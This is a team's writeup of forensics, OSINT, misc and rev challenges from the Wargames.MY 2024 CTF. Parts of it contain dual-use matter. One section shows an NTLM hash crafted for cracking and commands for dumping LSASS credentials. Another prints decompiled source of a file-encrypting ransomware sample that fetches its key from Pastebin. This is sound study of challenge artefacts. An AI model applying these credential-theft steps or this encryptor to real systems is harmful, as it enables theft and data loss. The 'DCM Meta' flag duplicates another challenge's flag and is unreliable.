Wargames.MY 2024 - Writeups
This is a writeup for some forensics, OSINT, misc and rev challenges from Wargames.MY 2024. As promised last year, I will come back stronger for Wargames.MY CTF and the final results this year was evident. What made this CTF special this year was the organizers allowing no team limit for open division teams, so this gave us the opportunity to form our own “Avengers” squad to have fun and win the CTF together. Fortunately enough, we managed to achieve 3rd place out of 266 teams (was a close battle between the top 3 teams). #NotSponsoredByHotBird
I Cant Manipulate People [Forensics]
Question: Partial traffic packet captured from hacked machine, can you analyze the provided pcap file to extract the message from the packet perhaps by reading the packet data?
Flag: WGMY{1e3b71d57e466ab71b43c2641a4b34f4}
We are given a PCAP file to investigate. According to the name of the challenge, this was most likely a classic forensics challenge that involves ICMP packets to store the flag characters within their data byte.
The flag can be obtained using a simple Python script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import subprocess
import binascii
def geticmp(pcap_file):
try:
tshark_command = [
"tshark",
"-r", pcap_file,
"-T", "fields",
"-e", "data",
"-Y", "icmp"
]
result = subprocess.run(tshark_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if result.returncode != 0:
raise Exception(f"Error running tshark: {result.stderr}")
hex_data_lines = result.stdout.strip().split("\n")
hex_data_lines = [line for line in hex_data_lines if line]
if not hex_data_lines:
return "No ICMP payload data found."
concatenated_hex = "".join(hex_data_lines)
decoded_data = binascii.unhexlify(concatenated_hex).decode('utf-8', errors='ignore')
return decoded_data
except FileNotFoundError:
return "tshark is not installed or not found in PATH."
except Exception as e:
return f"An error occurred: {e}"
if __name__ == "__main__":
pcap_file_path = "traffic.pcap"
result = geticmp(pcap_file_path)
print("Decoded ICMP Data:")
print(result)
1
2
3
└─$ python icmp.py
Decoded ICMP Data:
WGMY{1e3b71d57e466ab71b43c2641a4b34f4}
Unwanted Meow [Forensics]
Question: Uh.. Oh.. Help me, I just browsing funny cats memes, when I click download cute cat picture, the file that been download seems little bit wierd. I accidently run the file making my files shredded. Ughh now I hate cat meowing at me.
Flag: wgmy{4a4be40c96ac6314e91d93f38043a634}
We are given a broken JPG image to investigate. Analyzing it, there were several bogus “meow” data placed within different sections of the image.
The JPG image can be fixed accordingly using a simple Python script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import re
broken = "flag.shredded"
fixed = "flag.jpg"
def removecat(input_file, output_file):
with open(input_file, "rb") as file:
data = file.read()
strings = re.findall(b"[ -~]{4,}", data)
cleaned = [re.sub(b".?meow.?", b"", string) for string in strings]
cleaned_data = data
for original, cleaned in zip(strings, cleaned):
cleaned_data = cleaned_data.replace(original, cleaned)
with open(output_file, "wb") as file:
file.write(cleaned_data)
print(f"Output saved to {output_file}")
removecat(broken, fixed)
Oh Man [Forensics]
Question: We received a PCAP file from an admin who suspects an attacker exfiltrated sensitive data. Can you analyze the PCAP file and uncover what was stolen?
Flag: wgmy{fbba48bee397414246f864fe4d2925e4}
We are given a PCAP file to investigate. Analyzing it, a stream of SMB2 encrypted packets can be identified, so we must most likely find a secret key to decrypt them. Here, we can easily locate NTLM authentication exchanges within the protocol.
Encountering this kind of challenge before in another CTF, the method seems to be similar where we had to craft our own NTLM hash using specific information in the authentication packets. Here is a good reference about it: How to extract NTLM Hashes from Wireshark Captures for cracking with Hashcat
Following the video, the final NTLM hash can be obtained using the relevant information:
1
Administrator::DESKTOP-PMNU0JK:7aaff6ea26301fc3:ae62a57caaa5dd94b68def8fb1c192f3:01010000000000008675779b2e57db01376f686e57504d770000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b00070008008675779b2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000
After cracking the hash, the password can be used to decrypt the SMB2 packets in Wireshark. Here, we can identify multiple decrypted SMB objects in the traffic.
The 5cRxHmEj
file seems to be showing a series of commands to dump the LSASS credentials.
1
2
3
4
5
└─$ cat %5cWindows%5cTemp%5cRxHmEj
The minidump has an invalid signature, restore it running:
scripts/restore_signature 20241225_1939.log
Done, to get the secretz run:
python3 -m pypykatz lsa minidump 20241225_1939.log
Essentially, we can just follow the commands accordingly using nanodump and pypykatz to obtain the flag from the log file.
Tricky Malware [Forensics]
Question: My SOC detected there are Ransomware that decrypt file for fun. The script kiddies is so tricky. Here some evidence that we successfully retrieve.
Flag: WGMY{8b9777c8d7da5b10b65165489302af32}
We are given a memory dump and PCAP file to investigate. Analyzing the processes within the memory dump, several suspicious processes from crypt.exe
can be identified being executed in a Desktop folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ python3 vol.py -f ~/Desktop/Evidence/memdump.mem windows.pstree
Volatility 3 Framework 2.13.0
Progress: 100.00 PDB scanning finished
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime Audit Cmd Path
---SNIP---
*** 5548 2964 SecurityHealth 0xbc0ca734a080 3 - 1 False 2024-12-24 11:52:42.000000 UTC N/A \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe - -
*** 5200 2964 crypt.exe 0xbc0ca6be6340 3 - 1 False 2024-12-24 12:01:07.000000 UTC N/A \Device\HarddiskVolume3\Users\user\Desktop\Blow\crypt.exe "C:\Users\user\Desktop\Blow\crypt.exe" C:\Users\user\Desktop\Blow\crypt.exe
**** 6596 5200 crypt.exe 0xbc0ca6bd0080 4 - 1 False 2024-12-24 12:01:09.000000 UTC N/A \Device\HarddiskVolume3\Users\user\Desktop\Blow\crypt.exe "C:\Users\user\Desktop\Blow\crypt.exe" C:\Users\user\Desktop\Blow\crypt.exe
**** 5204 5200 conhost.exe 0xbc0ca7751300 6 - 1 False 2024-12-24 12:01:07.000000 UTC N/A \Device\HarddiskVolume3\Windows\System32\conhost.exe \??\C:\Windows\system32\conhost.exe 0x4 C:\Windows\system32\conhost.exe
*** 5788 2964 vmtoolsd.exe 0xbc0ca7580080 10 - 1 False 2024-12-24 11:52:43.000000 UTC N/A \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
6136 6172 FTK Imager.exe 0xbc0ca690b080 25 - 1 True 2024-12-24 11:56:16.000000 UTC N/A \Device\HarddiskVolume3\Program Files (x86)\AccessData\FTK Imager\FTK Imager.exe "C:\Program Files (x86)\AccessData\FTK Imager\FTK Imager.exe" C:\Program Files (x86)\AccessData\FTK Imager\FTK Imager.exe
However, it seems that there were 3 instances of crypt.exe
executed in the system. Dumping the first crypt.exe
file, it was identified to be a PyInstaller executable file.
1
2
3
4
└─$ python3 vol.py -f ~/Desktop/Evidence/memdump.mem windows.filescan | grep -iE crypt.exe
0xbc0ca7eb88c0.0\Users\user\Desktop\Blow\crypt.exe
0xbc0ca8856280 \Users\user\Desktop\Blow\crypt.exe
0xbc0ca885f6f0 \Users\user\Desktop\Blow\crypt.exe
1
2
3
4
5
6
7
└─$ python3 vol.py -f ~/Desktop/Evidence/memdump.mem -o ~/Desktop windows.dumpfiles --virtaddr 0xbc0ca7eb88c0
Volatility 3 Framework 2.13.0
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
DataSectionObject 0xbc0ca7eb88c0 crypt.exe Error dumping file
ImageSectionObject 0xbc0ca7eb88c0 crypt.exe file.0xbc0ca7eb88c0.0xbc0ca6ce1010.ImageSectionObject.crypt.exe.img
1
2
3
4
5
6
7
8
9
10
11
└─$ strings file.0xbc0ca7eb88c0.0xbc0ca8832230.DataSectionObject.crypt.exe.dat | tail
bcharset_normalizer\md.cp312-win_amd64.pyd
bcharset_normalizer\md__mypyc.cp312-win_amd64.pyd
blibcrypto-3.dll
blibssl-3.dll
bpython312.dll
bselect.pyd
bunicodedata.pyd
opyi-contents-directory _internal
zPYZ-00.pyz
8python312.dll
Unpacking and analyzing the Python source code, a Pastebin URL can be identified which redirects to the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: crypt.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import os
import requests
def fetch_key_from_pastebin(url):
"""Fetch the encryption key from a Pastebin URL.""" # inserted
try:
response = requests.get(url)
response.raise_for_status()
return response.text.strip()
except requests.exceptions.RequestException as e:
print(f'Error fetching key: {e}0')
else: # inserted
pass
def xor_encrypt_decrypt(data, key):
"""Encrypt or decrypt data using XOR with the given key.""" # inserted
key_bytes = key.encode('utf-8')
key_length = len(key_bytes)
return bytes([data[i] ^ key_bytes[i % key_length] for i in range(len(data))])
def process_file(file_path, key, encrypt=True):
"""Encrypt or decrypt a file and modify its extension.""" # inserted
try:
with open(file_path, 'rb') as file:
pass # postinserted
except Exception as e:
data = file.read()
processed_data = xor_encrypt_decrypt(data, key)
if encrypt:
new_file_path = file_path + '.oiiaiouiiiai'
else: # inserted
new_file_path = file_path.rsplit('.oiiaiouiiiai', 1)[0]
with open(new_file_path, 'wb') as file:
file.write(processed_data)
os.remove(file_path)
print(f'Processed {file_path} -> {new_file_path}')
print(f'Failed to process {file_path}: {e}')
if __name__ == '__main__':
pastebin_url = 'https://pastebin.com/raw/PDXfh5bb'
key = fetch_key_from_pastebin(pastebin_url)
if not key:
print('Failed to retrieve the key.')
exit(1)
for file_name in os.listdir():
if not os.path.isfile(file_name):
continue
if file_name == os.path.basename(__file__):
continue
if file_name.endswith('.oiiaiouiiiai'):
process_file(file_name, key, encrypt=False)
else: # inserted
process_file(file_name, key, encrypt=True)
迅帝 [OSINT]
Question: I created this chal just because people keep asking for OSINT chal in WGMY 2023. Here we go: “18 years, I waited 18 years and finally they are active once again. We managed to obtain some artifact from their last work, it seem a secret message is hidden deep inside. Find out what to do with these files. Oh, right, our agent has further message for you: ‘Melancholy Angel holds the flag.’ Good Luck, you need it.”
Flag: wgmy{bf125e1fd5095254a4bd93ffc300e256}
We are tasked to find information about the artifacts given. Analyzing them, they seem to be binary files, which 1 of them being UCL packed.
1
2
3
└─$ file *
BUILD.DAT: UCL compressed data
BUILD.TOC: data
Doing some research online, I stumbled upon this forum page that mentioned both the files to be game data files, specifically from Xbox 360.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ strings BUILD.DAT | grep -iE Xbox
) Xbox 360 Shader Compil
ps_3_1Microsoft (R) Xbox 3
) Xbox 360 Shader Compil
Microsoft (R) Xbox 360 Shad
Xbox 360 Shader Compil
soft (R) Xbox 360 Shader Compil
Xbox 360 Shader Compil
rosoft (R) Xbox 360 Shader Compi{
Xbox 360 Shader Compil
Microsoft (R) Xbox 360
) Xbox 360 Shader Compil
rosoft (R) Xbox 360 Shader Compi{
icrosoft (R) Xbox 360 Shader
ft (R) Xbox 360 S/er }mp
Xbox 360 Shader Compil
Microsoft (R) Xbox 360
Microsoft (R) Xbox 360
Reading more about what the files were, a user from this forum page mentioned that the UCL compressed DAT file can actually be unpacked using a tool called quickbms with tokyo_xtreme_racer.bms
(a special script for the tool).
Unpacking the file, multiple binary data and texture files can be obtained from it. After countless hours (and a great sushi lunch with the boys), I managed to figure out a dumb way to supposedly obtain the flag.
Since the texture files seem to be supported by GIMP, I attempted to brute force my way to find the flag from ALL the texture files. Additionally, since the challenge description mentioned something about Melancholy Angel
, the flag can be obtained from Melancholy Angel’s logo texture file.
The amount of rabbit holes me and my teammate @PLZ ENTER TEXT went through was insane. We attempted to carve data from the game data files, figure out how to convert the game data files into an ISO file and emulate the Xbox game with Xemu, and search online users called Melancholy Angel on social media. Safe to say, our sanity was dead.
Christmas GIFt [Misc]
Question: Here is your christmas GIFt from santa! Just open and wait for it..
Flag: wgmy{51fadeb6cc77504db336850d53623177}
We are given a large GIF file to investigate. It was pretty straightforward, the flag can be obtained from the last frame of the GIF using tools like stegsolve.
The DCM Meta [Misc]
Question: [25, 10, 0, 3, 17, 19, 23, 27, 4, 13, 20, 8, 24, 21, 31, 15, 7, 29, 6, 1, 9, 30, 22, 5, 28, 18, 26, 11, 2, 14, 16, 12]
Flag: wgmy{51fadeb6cc77504db336850d53623177}
We are given a DCM file to investigate. Analyzing it, the flag characters can be identified within it’s raw data, however, the flag was incorrect.
Being confused on why the flag was incorrect, my teammate @pikaroot managed to identify something suspicious. The challenge description seems to be an array with the index range of 0-31 (which is length of the flag). Arranging the characters using the appropriate index, the flag can be obtained.
Stones [Rev]
Question: When Thanos snapped his fingers, half of the flag was blipped. We need the Avengers to retrieve the other half. There’s no flag in the movie, but there is a slash flag on the server.
Flag: WGMY{1d2993fc6327746830cd374debcb98f5}
We are given an unknown file to investigate. Analyzing the file, we can see identify it to be a PyInstaller executable file.
1
2
3
4
5
6
7
8
9
10
11
└─$ strings stones.whatdis | tail
bcharset_normalizer\md__mypyc.cp310-win_amd64.pyd
blibcrypto-1_1.dll
blibssl-1_1.dll
bpython310.dll
bselect.pyd
bucrtbase.dll
bunicodedata.pyd
opyi-contents-directory _internal
zPYZ-00.pyz
6python310.dll
Unpacking and analyzing the Python source code, the first part of the flag and two URLs that redirects to two different websites can be identified.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: CHAL-stones.py
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import requests
from datetime import datetime
from urllib.request import urlopen
from datetime import datetime
server_url = 'http://3.142.133.106:8000/'
current_time = urlopen('http://just-the-time.appspot.com/')
current_time = current_time.read().strip()
current_time = current_time.decode('utf-8')
current_date = current_time.split(' ')[0]
local_date = datetime.now().strftime('%Y-%m-%d')
if current_date == local_date:
print("We're gonna need a really big brain; bigger than his?")
first_flag = 'WGMY{1d2993'
user_date = current_date
params = {'first_flag': first_flag, 'date': user_date}
response = requests.get(server_url, params=params)
if response.status_code == 200:
print(response.json()['flag'])
else:
print(response.json()['error'])
Accessing the first website (http://3.142.133.106:8000/
), the website API seems to be expecting the first part of the flag and the correct date within the URL parameters to output the second part of the flag.
Accessing the second website (http://just-the-time.appspot.com/
), it seems to be only be showing the current timestamp.
After some time, the author gave a hint mentioning something about the /flag
path. Accessing it will lead to a YouTube video of an Avengers clip.
Testing the upload date of the YouTube video, the flag can be obtained.